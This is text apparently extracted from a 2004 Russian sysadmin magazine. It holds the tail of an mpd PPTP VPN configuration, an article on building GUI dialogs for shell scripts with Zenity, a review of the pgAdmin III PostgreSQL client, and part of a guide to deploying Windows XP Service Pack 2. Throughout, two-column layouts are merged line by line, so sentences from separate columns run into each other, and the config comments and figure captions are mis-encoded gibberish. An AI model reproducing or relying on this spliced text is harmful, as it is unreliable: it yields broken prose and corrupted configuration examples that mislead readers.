set ccp yes mpp-e128 ство VPN-соединения – экономию адресного пространства.
# Stateless-ðåæèì, óìåíüøàåò âðåìÿ âîññòàíîâëåíèÿ ïðè ñáðîñå
# (drop) ïàêåòà: Если поставленную задачу решать «классическим» спосо-
set ccp yes mpp-stateless бом – с помощью дополнительных сетевых карт, то пона-
# Àäðåñ, íà êîòîðîì VPN-ñåðâåð æäåò ñîåäèíåíèÿ:
set pptp self 10.õ.õ.254 добится выделить как минимум 4 IP-адреса – на сторону
# Ðàçðåøàåì âõîäÿùèå ñîåäèíåíèÿ: сервера, клиенту, и 2 адреса пропадут «впустую» – как ад-
set pptp enable incoming
# Èíèöèèðîâàòü ñîåäèíåíèå ñî ñòîðîíû mpd íå íóæíî: рес подсети и широковещательный адрес. В случае же VPN
set pptp disable originate мы занимаем только 1 действительно нужный нам адрес –
адрес клиента. На сервере мы привязываемся к существу-
С остальными параметрами можно ознакомиться в до- ющему адресу внешнего интерфейса, а «служебные» ад-
статочно подробной html-документации (см. /usr/ports/net/ реса в данном случае вообще не требуются.
mpd/work/mpd-3.18/doc). В частности, может потребовать-
ся прописать DNS-сервер, назначаемый устанавливаемо- Источники дополнительной информации:
му соединению. 1. http://sourceforge.net/projects/mpd
В принципе все можно оставить в таком же виде, изме- 2. http://www.dellroad.org/mpd/index
нив только IP-адреса на нужные. В качестве собственного 3. man mpd(8), man netgraph(4), man ng_ppp(4)
адреса (pptp self) должен быть задан адрес интерфейса, на

№9(22), сентябрь 2004 11


администрирование

ВЗАИМОДЕЙСТВИЕ SHELL-СКРИПТОВ
С ПОЛЬЗОВАТЕЛЕМ ПОСРЕДСТВОМ ZENITY

АНДРЕЙ УВАРОВ
В данной статье речь пойдёт о том, каким образом можно бразить сообщение об ошибке, достаточно выполнить сле-
без особых усилий сделать графический интерфейс к shell- дующее:
скриптам.
Если вы хотите сделать взаимодействие ваших про- # zenity --error
грамм с пользователем более простым, то эта статья для
вас, и не важно, какой язык вы используете, будь то bash, В результате мы увидим сообщение об ошибке:
perl, python и т. п.
Итак, Zenity является утилитой отображения диалогов.
Программа имеется в составе большинства распостранён-
ных дистрибутивов Linux, хотя ее можно скомпилировать
или найти уже в бинарном виде практически для любой *nix- Все диалоги имеют некоторые свойства, значения кото-
системы. рых также определяются параметрами запуска. Общие для
Взаимодействие с X-сервером производится с помощью всех диалогов свойства, то есть те, которыми обладают все
библиотеки GTK+. диалоги, такие: title, window-icon, width, height. Очевидно, что
Рассмотрим функциональные возможности данной про- title определяет заголовок окна, window-icon – пиктограмму,
граммы. Имеется десять видов диалогов. а width и height – ширину и высоту окна соответственно.
1. Calendar – календарь (date-picker). Теперь можно поговорить о каждом из диалогов под-
2. Entry – однострочное текстовое поле ввода. робнее.
3. Text-info – диалог отображения многострочной тексто-
вой информации, который может применяться и как поле Info, question, warning и error
ввода. Хотя, по всей видимости, это не является его ос- Text – выводимое сообщение. Различаются данные диало-
новным назначением. ги лишь пиктограммой, находящейся напротив сообщения.
4. Error – сообщение об ошибке. Question имеет две кнопки, соответствующие положитель-
5. Info – сообщение общего характера. ному и отрицательному ответу на сообщение.
6. Warning – предупреждение.
7. Question – вопросительное сообщение с возможностью
ввода утвердительного или отрицательного ответа.
8. File-selection – выбор файла.
9. List – список с возможностью выбора и редактирования
его элементов. Calendar
10. Progress – Progress bar dialog. Отображает статус вы- ! Text – сообщение, выводимое над полем выбора даты.
полнения текущей операции. ! Day, month и year – день, месяц и год, которые будут
установлены по умолчанию.
Заставить утилиту делать то, что мы пожелаем, мож- ! Date-format – строка, определяющая формат возвраща-
но посредством запуска программы с соответствующими емой даты. Формат строки эквивалентен формату вы-
параметрами. Имя любого из параметров состоит более зова функции strftime.
чем из одного символа и, следовательно, имеет префикс
«--» – «два минуса». При завершении выполнения будут Попробуем написать простое приложение, запрашива-
выведены результирующие данные в stdout или же код ющее дату рождения пользователя.
будет просто возвращён в stderr. Например, чтобы ото- Файл birthdate.pl:

12
администрирование
#! /usr/local/bin/perl Progress
do
! Text – сообщение над progress bar.
print `zenity --info --text "You may not enter real ↵ ! Percentage – начальное состояние, указываемое в про-
birth date" --title=birthday`; центах.
while(!($birthdate = `zenity --calendar ↵
--date-format=%d.%m.%y`)); ! Auto-close – автоматическое закрытие диалога после до-
`zenity --info --text "Your birth date is $birthdate" ↵ стижения 100%.
--title "Your Bitrh Date"`;
! Pulsate – определяет отображение «пульсирующего»
прогресса.

Кроме того, Zenity имеет ещё несколько менее важных


дополнительных опций.
! --gdk-debug=FLAGS – установка флагов отладки Gdk;
! --gdk-no-debug=FLAGS – отмена флагов отладки Gdk;
! --display=DISPLAY;
! --sync – использование синхронных X-вызовов;
! --name=NAME – имя программы, используемое оконным
менеджером;
! --class=CLASS – класс программы, используемый окон-
Entry ным менеджером;
! Text – сообщение, выводимое над полем ввода. ! --gxid-host=HOST;
! Entry-text – текст, которым автоматически заполняется ! --gxid-port=PORT;
поле ввода. ! --gtk-debug=FLAGS – установка флагов отладки Gtk+;
! Hide-text – если присутствует, то вводимые символы ото- ! --gtk-no-debug=FLAGS – отмена флагов отладки Gtk+;
бражаются «звёздочками». ! --g-fatal-warnings – все предупреждения приводят к за-
вершению выполнения;
В качестве примера попробуем написать простое при- ! --gtk-module=MODULE – загрузить дополнительный мо-
ложение, осуществляющее запуск вводимой команды. дуль Gtk.
Файл command.sh:
Кроме Zenity, есть ещё такие средства, как xdialog, dialog,
#! /bin/sh kdialog, xmessage. Рассмотрим вкратце некоторые из них.
```zenity --entry --title "Run command" --text "Command:``` Dialog – программа, использующая Ncurses для вывода
диалогов. Вследствие этого является достаточно универ-
сальной, так как не все и не всегда пользуются X-Window.
Вот список параметров dialog:
! --yesno <text> <height> <width>
! --msgbox <text> <height> <width>
! --prgbox «<command line>» <height> <width>
List ! --infobox <text> <height> <width>
! Column – заголовок столбца. ! --inputbox <text> <height> <width> [<init string>]
! Check-list – использование check box для первого стол- ! --textbox <file> <height> <width>
бца. ! --menu <text> <height> <width> <menu height> <tag1>
! Radio-list – использование radio buttons для первого стол- <item1>...
бца. ! --checklist <text> <height> <width> <list height> <tag1>
! Separator – разделитель, использующийся при выводе <item1> <status1>...
информации. По умолчанию это символ «|». ! --radiolist <text> <height> <width> <list height> <tag1>
! Editable – присутствие данного параметра означает, что <item1> <status1>...
пользователь может редактировать элементы списка. ! --ftree <file> <FS> <text> <height> <width> <menu height>
! --tree <FS> <text> <height> <width> <menu height>
Text-info <item1>...
! File-name – имя файла, содержимое которого будет ото-
бражено. Kdialog поставляется в составе KDE. Имеет сходный ин-
! Editable – использование данного параметра аналогич- терфейс с dialog и xdialog. Но, на мой взгляд, kdialog более
но List. избыточен и менее функционален, нежели Zenity. Xmessage
предназначается исключительно для вывода сообщений, но
File-selection внешний вид, думаю, редкого пользователя может порадовать.
! File-name – имя файла, устанавливаемое по умолчанию. Необходимо учесть, что пользователь может и не иметь
! Multiple – возможность выбора сразу нескольких файлов. установленной Zenity. И не стоит забывать о том, что есть
! Separator – использование данного параметра анало- средства, такие как xdialog, dialog, kdialog, kmessage, и дру-
гично List. гие. Может быть, в вашем случае они подойдут больше.

№9(22), сентябрь 2004 13


администрирование

PostgreSQL:
ГРАФИЧЕСКИЙ КЛИЕНТ pgAdmin

СЕРГЕЙ СУПРУНОВ
В предыдущей статье, посвященной СУБД PostgreSQL (см. Professional затруднений не вызвала. После традиционно-
июльский номер журнала), упоминался графический кли- го вопроса о согласии с условиями лицензионного согла-
ент pgAdmin. В этой статье рассмотрим его основные фун- шения (пакет распространяется бесплатно) и нескольких
кции и возможности. секунд инсталляционных процедур программа была гото-
Для тестирования с сайта www.pgadmin.org был скачан ва к работе.
пакет pgAdmin III версии 1.0.2 для Windows 2000/XP (в виде При первом запуске было предложено выбрать предпо-
msi-архива). Размер дистрибутива составляет менее 5,5 Мб. читаемый язык интерфейса. Среди нескольких десятков
Установка пакета на операционную систему Windows XP поддерживаемых языков отыскался и русский.

14
администрирование
Открывшееся далее главное окно (рис. 1) своими очер- СУБД PostgreSQL версии 7.4.1 у меня была запущена
таниями вызвало в памяти образ входящего в состав СУБД на другой машине (под управлением FreeBSD), что и было
Oracle клиента PL/SQL Developer. Правда, некоторый аске- указано при добавлении сервера (рис. 2). Поясню отсут-
тизм панели инструментов навевал мысль, что в функцио- ствие пароля: моя рабочая машина прописана в файле
нальном плане различия будут более заметны, и никак не в pg_hba.conf (файл настройки доступа PostgreSQL) как до-
пользу pgAdmin. веренный хост, что позволяет соединяться с сервером БД,
как мне заблагорассудится. Своя рука – владыка. Есте-
ственно, на рабочем сервере такая халатность не привет-
ствуется.

Ðèñóíîê 1 Ðèñóíîê 2

Ðèñóíîê 3

№9(22), сентябрь 2004 15


администрирование
Теперь слева будет дерево баз данных, справа отобра- Далее, на вкладке «Колонки» собираем (другое опре-
жается информация по выделенному объекту и ниже – SQL- деление к этому процессу подобрать трудно) структуру таб-
команда, с помощью которой выделенный объект мог быть лицы, последовательно добавляя поля (рис. 5). Для каждо-
создан (рис. 3). го поля должно быть задано имя и тип данных. Дополни-
Для общего представления создадим новую таблицу. тельно можно указать значение по умолчанию и/или отме-
Для чего давим правую кнопку мыши над веткой «Табли- тить поле как «NOT NULL», запретив тем самым оставлять
цы», выбираем «Новый объект» – «Новая таблица» и начи- его без определенного значения.
наем вводить ее свойства (рис. 4). На следующей вкладке можно задать ограничения (пер-
вичный и вторичный ключи, UNIQUE и CHECK).
Вкладка «Безопасность» позволяет раздать другим
пользователям права доступа к создаваемой таблице.
Последняя закладка – «SQL» – позволяет посмотреть,
каким SQL-запросом все это будет создано.
Огорчила невозможность исправить ошибку на стадии
создания таблицы. Например, если вы неправильно задали
тип данных для поля, то исправить это можно, только удалив
поле и создав новое. В дальнейшем, если вернуться к свой-
ствам уже созданной таблицы, кнопка «Изменить» присут-
ствует, а вот во время создания новой – нет… А для ограни-
чений нет даже этого – только удалять и создавать заново.
Еще один недостаток – об ошибке узнаешь только при
попытке сохранить сделанные изменения.
Как уже было вскользь замечено, существующие таб-
лицы можно изменять. Да и было бы странно, если бы та-
кая возможность отсутствовала. Интерфейс тот же самый
(за исключением упомянутой выше кнопки «Изменить»). На
вкладке «SQL» будет формироваться код, который необхо-
димо выполнить для осуществления желаемых изменений.
Код формируется, как и следовало ожидать, довольно
просто, без «хитринки». Например, если дать указание при
создании таблицы задать владельца, то в код будет просто
добавлена команда «ALTER TABLE … OWNER …» после того,
как таблица будет создана командой «CREATE TABLE …».
Ðèñóíîê 4 Хотя по-хорошему это можно сделать одной командой.

Ðèñóíîê 6
Для работы с наполнением таблиц служит инструмент
«Просмотр данных» (рис. 6). Выполненный в стиле «старого
доброго» MS Access, он позволяет просматривать содержи-
мое таблицы, добавлять новые строки, изменять и удалять
существующие. Причем изменение данных возможно толь-
ко в случае, если таблица создана с установленным флагом
«Имеет OID». Как ни странно это выглядит, но в обоих слу-
чаях инструмент называется именно «Просмотр данных» (в
англоязычном варианте «View Data»), несмотря на возмож-
ность редактирования, хотя заголовок окна гласит «pgAdmin
III Edit data», и тоже в обоих случаях. Таким образом, этот
Ðèñóíîê 5 недочет, допущенный при проектировании интерфейса, спо-

16
администрирование
собен ввести в заблуждение, и сразу отыскать возможность времени, затрачиваемого на каждую операцию – незаме-
работы с данными таблиц довольно трудно. нимый инструмент для оптимизации запросов. В пункте
меню «Запрос» – «Опции режима объяснения» можно вклю-
чить и подробный разбор каждого запроса.

Ðèñóíîê 7
Более широкие возможности по работе с запросами
предоставляет «Инструмент запросов» (рис. 7). Тут уже есть Ðèñóíîê 8
куда ввести любой SQL-запрос и посмотреть его резуль- Функция обслуживания БД позволяет выполнить деф-
тат. Закладка «Сообщения» внизу окна позволяет ознако- рагментацию и анализ структуры базы данных либо отдель-
миться с такой информацией, как количество выбранных ных таблиц. Регулярная дефрагментация нужна для повы-
запросом записей и время выполнения запроса. Весьма шения скорости доступа к данным, а анализ поставляет
полезная функция – «Объяснить запрос» (рис. 8), выводя- служебную информацию оптимизатору СУБД, на основа-
щая последовательность действий, которые будет выпол- нии которой последний способен обрабатывать запросы бо-
нять PostgreSQL, обрабатывая данный запрос, с расчетом лее эффективно.

Ðèñóíîê 9

№9(22), сентябрь 2004 17


администрирование
Ну и наконец, в окне «Опции» вы можете произвести достаточно подробно, просто и с обилием иллюстраций
некоторые настройки интерфейса, такие как выбор языка описывает работу с клиентом, его настройку, а также со-
и шрифта, по своему вкусу, а также настроить log-файл. держит подробную справку по PostgreSQL 7.4. Показалось
Включение опции «Показать» – «Системные объекты» несколько неудобным, что развернутое окно помощи все-
приведет к отображению баз template0 и template1, а также в гда находится поверх рабочего окна, закрывая часть дан-
каждой пользовательской БД, помимо схемы public, храня- ных. Хотя всегда можно открыть справку отдельно (соот-
щей пользовательские данные, будут видны и служебные ветствующий пункт присутствует в группе «pgAdmin III»
схемы: information schema, pg_catalog, pg_temp_1, pg_toast меню «Пуск»), и тогда ничто не будет мешать переключаться
(рис. 9). Естественно, что для работы с системными объек- между окнами любимой комбинацией «Alt-Tab».
тами нужно обладать соответствующими правами. Итак, мои общие впечатления – клиент добротный, не
Трудно сказать, недостаток это или особенность реали- считая мелких недостатков; поддерживает практически все
зации, но pgAdmin жестко привязывает имя пользователя к функции разработки и администрирования. Широкие воз-
конкретному серверу. То есть при необходимости подсое- можности по анализу запросов, наглядное представление
диниться к БД с другими правами приходится создавать структуры БД и ее составляющих, интуитивно понятный,
несколько «серверов», указывающих на одну СУБД, но с не обремененный ничем лишним, да еще и русскоязычный
разными пользователями (рис. 10). Хотя в этом есть и оп- интерфейс делают pgAdmin удобным инструментом для
ределенные преимущества, т.к. можно поддерживать од- работы с базами PostgreSQL, особенно для начинающих.
новременно несколько подключений с различными права- Помимо версии для Windows, есть пакеты для Linux (Debian,
ми. К слову, посмотреть все подключения к СУБД можно, RPM, Slackware packages), для FreeBSD. При желании па-
выбрав «Сервис» – «Состояние сервера». кет может быть собран и из исходных текстов.
В заключение заметим, что в клиенте доступен файл Дополнительную информацию (в том числе и на русском
помощи. Правда, он на английском языке, но тем не менее языке) можно получить на сайте проекта.

Ðèñóíîê 10

18
администрирование

WINDOWS XP SERVICE PACK 2


ГЛАЗАМИ СИСТЕМНОГО АДМИНИСТРАТОРА

МИХАИЛ ПЛАТОВ
Наконец-таки случилось – самый популярный продукт про- кет критических обновлений. Он включает в себя массу раз-
шлого и как минимум нескольких последующих месяцев, личных обновлений широкого характера, затрагивающих
имеющий непосредственное отношение к безопасности – практически все компоненты операционной системы
Windows XP Service Pack 2 – пакет обновлений, выпуск ко- Windows XP. Дабы не быть голословным, приведу доста-
торого несколько раз переносили и откладывали, был пре- точно полный список изменений, вносимых в систему па-
дан достоянию компьютерной общественности. Произош- кетом обновлений SP2.
ло это событие достаточно тихо (прямых ссылок в первые
дни не было). 9 августа на сайте загрузки корпорации Исправления для Windows XP
Microsoft, в разделе для IT-специалистов появился файл В состав SP2 входят все обновления SP1, все критические
WindowsXP-KB835935-SP2-ENU.exe – английская версия обновления, вышедшие после SP1, а также исправления,
Service Pack2, общим размером чуть меньше 300 Мб. касающиеся работы различных компонент ОС Windows XP.
Естественно, многие тут же принялись его скачивать, Полный список исправлений (а их более 800) можно найти по
устанавливать и тут же наткнулись на проблемы… Однако адресу: http://support.microsoft.com/default.aspx?kbid=811113.
обо всем по порядку.
Брандмауэр Windows Firewall
А что, собственно, нового? По мнению MS, это одно из самых значительных нововве-
В те времена, когда SP2 ждали, многие говорили: «А зачем дений SP2. Фактически он является улучшенной версией
он мне? Все обновления у меня есть, а эти тупые картинки Internet Connection Firewall (ICF), доступного в Windows XP.
для начинающих пользователей мне и не нужны». Действи- Теперь у него есть собственный графический интерфейс
тельно, у многих знакомых мне людей, в том числе и адми- конфигурирования, поддерживается задание глобальных
нистраторов, Service Pack 2 прежде всего ассоциируется с настроек для всех соединений, списков исключений (как для
«Центром безопасности», брандмауэром «Windows Firewall» IP-адресов, так и для приложений), различные режимы ра-
и наличием всех критических заплаток для Windows XP. боты (в домене и за его пределами, со списком исключе-
Однако даже поверхностное изучение соответствующей ния и без), а также работа в сетях IPv6. Кроме того, Windows
документации от Microsoft показало, что на самом деле все Firewall тесно интегрирован с ОС Windows – запускается на
как минимум немного не так. SP2 больше, чем просто па- ранней стадии загрузки ОС, до завершения инициализа-

20
администрирование
ции стека TCP/IP и выключается на одной из последних И если какой-либо из компонентов отсутствует или не
стадий завершения работы системы, что должно обеспе- работает, то центр безопасности выводит в системном трее
чить безопасность не только во время работы компьютера, соответствующее предупреждение:
но и во время его включения и выключения.
После установки SP2 Windows Firewall будет включен,
практически вся сетевая активность будет запрещена. Так,
при попытке обращения к сети какого-либо приложения
появится всплывающее окно:

Ðèñóíîê 3
На данный момент «Центр безопасности» не признает
брандмауэры и антивирусы третьих фирм. В скором вре-
мени, как только производители выпустят соответствующие
обновления, ситуация, скорее всего, изменится, а пока ад-
министраторы могут временно отключить соответствующие
напоминания, используя апплет «Центр безопасности», на-
ходящийся в панели управления Windows.

Обновления безопасности RPC


Служба удаленного вызова процедур (RPC) всегда была
неотъемлемой частью ОС семейства Windows NT. RPC не-
явно используется при удаленном администрировании че-
рез mmc (Microsoft Management Console), а также при рабо-
Ðèñóíîê 1 те с общими файлами и принтерами. Стандартная установ-
в котором можно выбрать действие, которое firewall будет ка Windows XP содержит более 60 (!) сервисов RPC. Да чего
использовать для этой программы. Кроме того, помимо уж тут говорить, самые известные черви последнего вре-
«ручной» настройки брандмауэра непосредственно в про- мени (blaster, sasser) проникали на компьютеры, используя
цессе интерактивной работы за компьютером, админист- именно уязвимости в RPC/DCOM! Так вот в SP2 Microsoft
раторам также предоставляются возможности настройки попыталась поставить вирусописателям очередную прегра-
через групповые политики. ду (эффективную или нет, покажет время). Теперь при ра-
боте с программами по RPC пользователь должен пройти
Центр обеспечения безопасности Windows обязательную аутентификацию (режим по умолчанию). Кро-
Служба, представляющая собой центральное место обес- ме того, Microsoft добавила дополнительные возможности
печения безопасности для пользователя. Microsoft (кстати, для настройки безопасности RPC, используя которые мож-
и не только она) считает, что многие нашумевшие пробле- но определить, какие из сервисов RPC должны быть дос-
мы безопасности последнего времени могли бы и не воз- тупны для локальной сети, какие для внешней, а какие во-
никнуть, если бы большая часть пользователей следовала обще должны быть отключены. помимо этого, некоторые
трем простым правилам: иметь регулярно обновляемый ан- изменения относительно обработки RPC-трафика были так-
тивирус, брандмауэр, устанавливать критические обновле- же внесены в Windows Firewall.
ния для ОС. Так вот, «Центр безопасности» как раз и зани-
мается тем, что в фоновом режиме проверяет состояние Обновления безопасности DCOM
каждой из этих трех служб. И эта модель с несколько подмоченной в плане безопасно-
сти репутацией подверглась некоторым изменениям. Пос-
ле установки SP2 только аутентифицированные пользова-
тели смогут удаленно вызывать DCOM-объекты. Кроме
того, SP2 добавляет новые уровни безопасности доступа к
COM-объектам (локальный вызов, удаленный вызов, локаль-
ная активация, удаленная активация), с помощью которых
можно просто и быстро настроить необходимый доступ как
для локальных, так и для удаленных пользователей.

Предотвращение выполнения данных


(Data Execution Protection)
В ОС добавляется поддержка аппаратно-реализуемой в про-
цессорах технологии NX (No Execute). Данная технология
позволяет ставить «запрет на исполнение» для страниц, со-
держащих данные. Таким образом, если злоумышленник
попытается использовать атаку переполнения буфера, до-
Ðèñóíîê 2 писав к данным свой исполняемый код, ОС и процессор, под-

№9(22), сентябрь 2004 21


администрирование
держивающие данную технологию (на данный момент это Поддержка соединений типа точка-точка
AMD K8 и Intel Itanium на ядре Nocona), не позволят этому (Windows Peer-to-Peer)
коду выполниться. Считается, что если бы эта технология Децентрализованные сети позволяют более полно исполь-
поддерживалась компьютерами уже год назад, мир не уз- зовать возможности (вычислительные, хранение данных
нал бы эпидемии MS Blaster и других червей, использующих и т. д.) современных компьютеров за счет предоставления
при своем распространении ошибки переполнения буфера. доступа к ним для других участников сети. Так, на базе де-
Специалисты полагают, что поддержка данной технологии централизованных P2P-сетей можно организовывать обмен
способна нанести ощутимый удар по вирусам и червям. аудио- и видеофайлами, передачу сообщений, групповые
игры и т. д. Динамически формируемые P2P-сети также
Обновленные модули системы являются перспективным решением в совокупности с бес-
Для улучшения безопасности уже существующих и широко проводными сетями 802.11. После установки Service Pack
распространенных 32-битных процессоров все файлы опе- 2 Windows XP будет поддерживать работу в режиме точка-
рационной системы были перекомпилированы с опцией точка с использованием компонента Windows Peer-to-Peer
программной проверки переполнений стека и кучи. Теперь, Networking. Правда, этот компонент отключен в стандарт-
если во время выполнения программы будет обнаружена ной конфигурации, и для того, чтобы его установить, при-
попытка переполнения стека или кучи, то будет вызвано дется воспользоваться мастером «Установки компонентов
программное исключение. Windows» (компонент Peer-to-Peer).

Установщик Windows Installer 3.0 Улучшения в работе


Отличительными особенностями являются: поддержка тех- с беспроводными устройствами
нологии Delta Patching (минимизирует размер обновлений), Добавлена поддержка Bluetooth-устройств. Поддерживают-
расширенные возможности определения того, какие ком- ся IP-соединения, работа с Bluetooth-принтерами и HID-ус-
поненты нужно обновлять, а какие нет, а также возможность тройствами, использование Bluetooth сотовых телефонов
удаления установленных обновлений. в качестве модемов, обмен файлами с Bluetooth-устройства-
ми и виртуальные COM-порты.
Новый клиент автоматического обновления Значительным модификациям подверглась поддерж-
Судя по названию (SUS20ClientDataStore), данный клиент, ка беспроводных сетей. Помимо нового мастера настрой-
скорее всего, будет поддерживать работу с анонсирован- ки, а также повышения уровня безопасности домашних
ным на первую половину 2005 года WUS (Windows Update сетей 802.11, Service Pack 2 для Windows XP включает в
Services), ранее известного как SUS 2.0 (Software Update себя клиентскую часть нового серверного сетевого ком-
Services). WUS будет поддерживать установку не только понента – Wireless Provisioning Service (службы организа-
критических обновлений ОС Windows, но и других продук- ции беспроводного доступа). WPS от Microsoft – решение
товот Microsoft (Office, SQL Server и др.). проблемы организации беспроводного доступа в публич-
ных местах. С помощью этой технологии провайдеры бес-
Улучшения безопасности Internet Explorer проводного доступа (кафе, аэропорты), интернет-провай-
Браузер от Microsoft тоже обзавелся дополнительной фун- деры и крупные корпорации смогут легко и просто предо-
кциональностью. Так, теперь в его состав входят менеджер ставить беспроводной доступ в Интернет (или к внутрен-
подключаемых модулей, система отслеживания ошибок и ней корпоративной сети) своим клиентам или сотрудни-
блокиратор всплывающих окон. Как видно из названия, с кам. WPS поддерживает аутентификацию (PEAP,WPA), сер-
помощью первого компонента можно просмотреть список вер RADUIS от Microsoft (IAS) и другие технологии Windows,
всех расширений для IE (даже те, которые он раньше не что, собственно, и делает удобным использование этого
показывал), а также определить, какие из них будут запус- компонента в сетях, построенных с использованием техно-
каться. Главным назначением второго компонента являет- логий Microsoft. Серверная часть WPS будет доступна в
ся отслеживание ошибок при запуске IE и автоматическое Windows 2003 Service Pack 1.
отключение расширений, вызвавших эти ошибки. Кроме
того, в новом обозревателе несколько переработан меха- Изменения DireсtX и Windows Media
низм обработки зон безопасности и процедуры установки Здесь все достаточно просто и банально. В состав Windows
и запуска ActiveX компонентов. XP SP2 входят проигрыватель Windows Media Player 9 и
DirectX 9.0c
Улучшения Outlook Express и Windows Messenger
Самым значительным изменением в этой области являет- Поддержка новых языковых настроек
ся реализованная в SP2 технология Attachment Execution После установки SP2 в системе появляется поддержка бо-
Service (AES) – технология управления вложениями. Теперь, лее 20 новых региональных настроек. Теперь и без того
при обработке письма с вложениями, на основе расшире- внушительный список пополнился настройками для Хорва-
ния файла, его фактического содержимого, а также настро- тии, Сербии, Уэльса, Швеции, Финляндии, Норвегии и не-
ек зон безопасности, AES будет принимать решение о том, скольких стран Южной Африки и Латинской Америки.
блокировать доступ к вложению или нет. Тем самым ста- Как видите, список нововведений достаточно внушите-
вится дополнительная преграда для вирусов, пытающихся лен. Пакет обновлений затрагивает значительную часть
проникнуть в компьютер посредством электронной почты. системных компонент ОС, поэтому неудивительно, что воз-

22
администрирование
можны случаи, в которых после установки SP2 некоторые Установка через групповые политики
приложения перестанут работать, однако совершенно оче- Для установки пакета обновлений используются возмож-
видно, что рано или поздно всем нам придется обновиться ности установки ПО в доменах Active Directory (технология
до уровня SP2, так что постараемся уменьшить негатив- IntelliMirror). Для того чтобы воспользоваться этим методом,
ные влияния этого процесса. Для этого попробуем просто не нужно ничего, кроме Active Directory, поэтому большин-
последовать рекомендациям самой Microsoft. Итак. ство организаций, особенно тех организаций, у которых нет
существующей инфраструктуры SUS или SMS, скорее все-
Варианты установки Service Pack 2 го, будут использовать именно его.
Для установки Service Pack 2 домашними пользователями Как известно, при установке ПО с использованием груп-
Microsoft рекомендует использовать узел Windows Update. повых политик, применяются файл-серверы. Именно на них
Сначала с сайта обновлений скачивается экспресс-установ- размещаются устанавливаемые программы. Поэтому при
щик, который затем загружает и устанавливает только те установке SP2 необходимо убедиться в том, что на всех ис-
файлы, которые нужно обновить на данном компьютере. пользуемых файл-серверах есть необходимое дисковое про-
Несколько иначе обстоит ситуация с пользователями странство для хранения распакованного SP2. Кроме того,
корпоративными. Для них у софтверного гиганта есть мас- так как в процессе установки файлы загружаются на клиен-
са рекомендаций и инструкций относительно того, как нуж- тский компьютер, необходимо, чтобы все клиенты имели на-
но устанавливать Service Pack 2. Согласно этим рекомен- дежное и быстрое сетевое соединение со своими файл-сер-
дациям процесс установки должен быть тщательно спла- верами. Так, в случае крупной организации при установке
нирован и документирован (график и список работ, распре- Service Pack 2 может использоваться следующая схема:
деление обязанностей, тесты, отчеты и т. д.). Так, на одном
из этапов предлагается создать тестовую лабораторию и
проверить в ней работоспособность системы с установлен-
ным SP2. Не будем более подробно останавливаться на всех
тонкостях, предлагаемых MS (благо для этого уже есть ме-
габайты соответствующей документации) и перейдем к
практической части – установке SP2. Для корпоративных
пользователей предусмотрено 3 варианта установки1:
! Software Update Services (SUS) – свободно распростра-
няемая платформа от Microsoft для установки критичес-
ких обновлений.
! Systems Management Server (SMS) – коммерческая сис-
тема от Microsoft для полного контроля над Windows-
машинами, в том числе и установки обновлений и про-
грамм.
! Group Policy (GP) – стандартный компонент доменов
Active Directory, также позволяющий установку ПО.

Прежде чем мы рассмотрим более подробно первый и


третий способы (как наиболее часто используемые), не-
сколько слов о системных требованиях для компьютеров с
Service Pack 2. А они таковы:
! 128 Мб ОЗУ или больше (для XP без SP было 64Мб);
! 500 Мб для пакета обновления;
! 260 Мб для создания временных файлов;
! 350 Мб для хранения файлов отката SP2;
! 30 Мб на загрузочном разделе (Ntldr, Boot.ini и
Ntdetect.com).
Ðèñóíîê 4
Таким образом, Microsoft не отрицает, что система ста- Как известно, при помощи групповых политик можно ус-
новится более требовательной к объему установленного танавливать только программы, распространяемые в виде
ОЗУ, и не только к нему, так что неудивительно, если пос- .msi-файлов. Для Service Pack2 тaкой файл называется
ле установки пакета обновлений компьютер будет работать update.msi (расположен в папке %SP_DIR%/i386/update/ рас-
более медленно2. пакованного Service Pack2). Для того чтобы распаковать

1
Во всех трех способах предполагается, что администратор сначала загружает пакет обновления с сайта Microsoft, а
затем устанавливает его на все необходимые компьютеры, используя наиболее приемлемый для него метод.
2
После установки SP2 можно освободить 350 Мб свободного места, удалив файлы отката SP2 (находится в %WINDIR%\
$NtServicePackUninstall$). Однако после этого удалить SP2 будет невозможно. Во время установки настоятельно ре-
комендуется отключить антивирусные программы.

№9(22), сентябрь 2004 23


администрирование
Service Pack 2 в папку c:\sp2, нужно запустить его со следу- Установка с использованием SUS
ющими параметрами: Данный способ рекомендуется использовать в том случае,
если в целевой организации уже имеется инфраструктура
{ïóòü ê SP2}\ WindowsXP-KB835935-SP2-ENU.exe /u /x:c:\sp2 SUS.
В зависимости от количества компьютеров, на которые
При данном способе установки мы распаковываем Service нужно установить Service Pack 2, предлагаются следующие
Pack. Это дает нам возможность дополнительно настроить рекомендации:
его (например, определить исключения для firewall) перед тем ! Если на один SUS-сервер приходится до 2000 компью-
как он будет установлен на компьютеры пользователей. теров с ОС Windows XP, то никаких дополнительных дей-
Установка SP2 ничем не отличается от установки обыч- ствий предпринимать не нужно.
ных программ через групповые политики. Единственное, ! Если на один SUS-сервер приходится более 2000 ком-
необходимо иметь в виду, что установка должна быть опре- пьютеров, то рекомендуется либо разрешать установку
делена в части политики, отвечающей за параметры компь- только в течение определенного интервала времени
ютера (computer-assigned). Кроме того, настоятельно реко- (чтобы не вызвать перегрузки сервера), либо использо-
мендуется использовать фильтрацию. Так, используя филь- вать ограничения IIS или BITS для определения макси-
трацию WMI, можно, написав соответствующий запрос на мального числа клиентов и выделяемой для них про-
языке WQL (WMI Query Language), определить компьютеры пускной способности сети.
(ОС, количество памяти, свободное дисковое пространство
и т. д.), к которым будет применяться данная политика. Дан- Установка Service Pack 2 с использованием SUS произ-
ный вариант может быть несколько сложен, т.к. далеко не водится точно так же, как и установка критических обнов-
все системные администраторы знают WQL и могут с легко- лений:
стью писать на нем запросы. Поэтому есть второй вариант – ! Обновления загружаются с корневого узла Windows
использование групп безопасности. Суть данного варианта Update (или SUS).
сводится к тому, что администратор сам определяет, для ! Для каждого обновления администратор разрешает его
каких машин домена должна произвестись установка SP2. установку для подключающихся к SUS-серверу клиентов.
Администратор создает группу безопасности и включает в ! Используя групповые политики, администратор для раз-
нее учетные записи соответствующих машин. Далее, во личных организационных единиц определяет SUS-сер-
вкладке security групповой политики он удаляет записи о груп- веры, с которых компьютеры будут устанавливать об-
пе Authentificated Users и добавляет свою группу машин с новления.
правами на чтение и применение данной политики: ! В течение 24-48 часов Service Pack 2 устанавливается
на все клиентские компьютеры.

Так как при использовании SUS-сервера пакет достав-


ляется на компьютеры в запакованном виде, нельзя пред-
варительно настроить компоненты Service Pack.

Запрет установки Service Pack 2


18 августа Service Pack 2 для Windows XP появился на сай-
те WindowsUpdate. Таким образом, он стал доступен для
клиентов автоматического обновления, которые незамед-
